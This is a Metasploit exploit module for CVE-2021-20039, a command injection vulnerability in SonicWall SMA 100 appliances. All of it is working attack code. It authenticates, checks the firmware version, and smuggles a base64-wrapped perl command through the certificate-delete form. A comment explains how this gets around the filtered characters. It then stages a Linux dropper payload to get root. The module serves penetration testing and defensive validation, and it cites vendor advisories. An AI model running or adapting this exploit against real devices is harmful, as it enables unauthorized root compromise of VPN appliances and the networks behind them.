SonicWall SMA 100 Series Authenticated Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection',  
'Description' => %q{  
This module exploits an authenticated command injection vulnerability  
in the SonicWall SMA 100 series web interface. Exploitation results in  
command execution as root. The affected versions are:  
  
- 10.2.1.2-24sv and below  
- 10.2.0.8-37sv and below  
- 9.0.0.11-31sv and below  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'jbaines-r7' # Vulnerability discovery and Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-20039' ],  
[ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'],  
[ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'],  
[ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis']  
],  
'DisclosureDate' => '2021-12-14',  
'Platform' => ['linux'],  
'Arch' => [ARCH_X86],  
'Privileged' => true,  
'Targets' => [  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'echo', 'printf' ]  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'PrependFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']),  
OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']),  
OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice'])  
])  
end  
  
##  
# Extract the version number from a javascript include in the login landing page.  
# And compare the version against known affected. Affected versions are:  
#  
# 10.2.1.2-24sv and below  
# 10.2.0.8-37sv and below  
# 9.0.0.11-31sv and below  
##  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/cgi-bin/welcome'),  
'agent' => 'SonicWALL Mobile Connect'  
})  
return CheckCode::Unknown('Failed to retrieve the version information') unless res&.code == 200  
  
version = res.body.match(/\.([0-9.\-a-z]+)\.js" type=/)  
return CheckCode::Unknown('Failed to retrieve the version information') unless version  
  
version = version[1]  
  
major, minor, revision, build = version.split('.', 4)  
build, point = build.split('-', 2)  
print_status("Version found: #{major}.#{minor}.#{revision}.#{build}-#{point}")  
point.delete_suffix('sv')  
  
case major  
when '9'  
return CheckCode::Safe unless minor.to_i == 0 && revision.to_i == 0 && build.to_i <= 11 && point.to_i <= 31  
when '10'  
return CheckCode::Safe unless minor.to_i == 2  
  
case revision  
when '0'  
return CheckCode::Safe unless build.to_i <= 8 && point.to_i <= 37  
when '1'  
return CheckCode::Safe unless build.to_i <= 2 && point.to_i <= 24  
else  
return CheckCode::Safe  
end  
else  
return CheckCode::Safe  
end  
CheckCode::Appears('Based on the discovered version.')  
end  
  
def login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/cgi-bin/userLogin'),  
'agent' => 'SonicWALL Mobile Connect',  
'vars_post' =>  
{  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'domain' => datastore['SWDOMAIN'],  
'portalname' => datastore['PORTALNAME'],  
'login' => 'true',  
'verifyCert' => '0',  
'ajax' => 'true'  
},  
'keep_cookies' => true  
})  
  
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200  
fail_with(Failure::NoAccess, 'Login failed') unless res.get_cookies.include?('swap=')  
print_good('Authentication successful')  
end  
  
##  
# Send the exploit in the "CERT" field when "deleting" a certificate. The  
# backend requires the payload start with "n". Also, there is a very small  
# amount of space to fit the command into (otherwise we'll trigger a bof).  
# Finally! The command has a lot of disallowed characters: /$&|>;`^. Which  
# is problematically for basically all the payloads. The system also is  
# missing useful tools like wget, base64, and curl (10.2 has curl but  
# whatever). As such, it seemed the easiest thing to do is wrap the entire  
# command in base64 and then use perl to decode/execute it.  
##  
def execute_command(cmd, _opts = {})  
cmd_encoded = Rex::Text.encode_base64(cmd)  
perl_eval = "n\nperl -MMIME::Base64 -e 'system(decode_base64(\"#{cmd_encoded}\"))'"  
  
multipart_form = Rex::MIME::Message.new  
multipart_form.add_part('delete', nil, nil, 'form-data; name="buttontype"')  
multipart_form.add_part(perl_eval, nil, nil, 'form-data; name="CERT"')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/cgi-bin/viewcert'),  
'agent' => 'SonicWALL Mobile Connect',  
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",  
'data' => multipart_form.to_s  
}, 5)  
  
if res && res.code != 200  
# the response should always be 200, unless meterpreter holds the  
# connection open.  
fail_with(Failure::UnexpectedReply, 'Only expected 200 OK')  
end  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
login  
execute_cmdstager(linemax: 40)  
end  
end  
`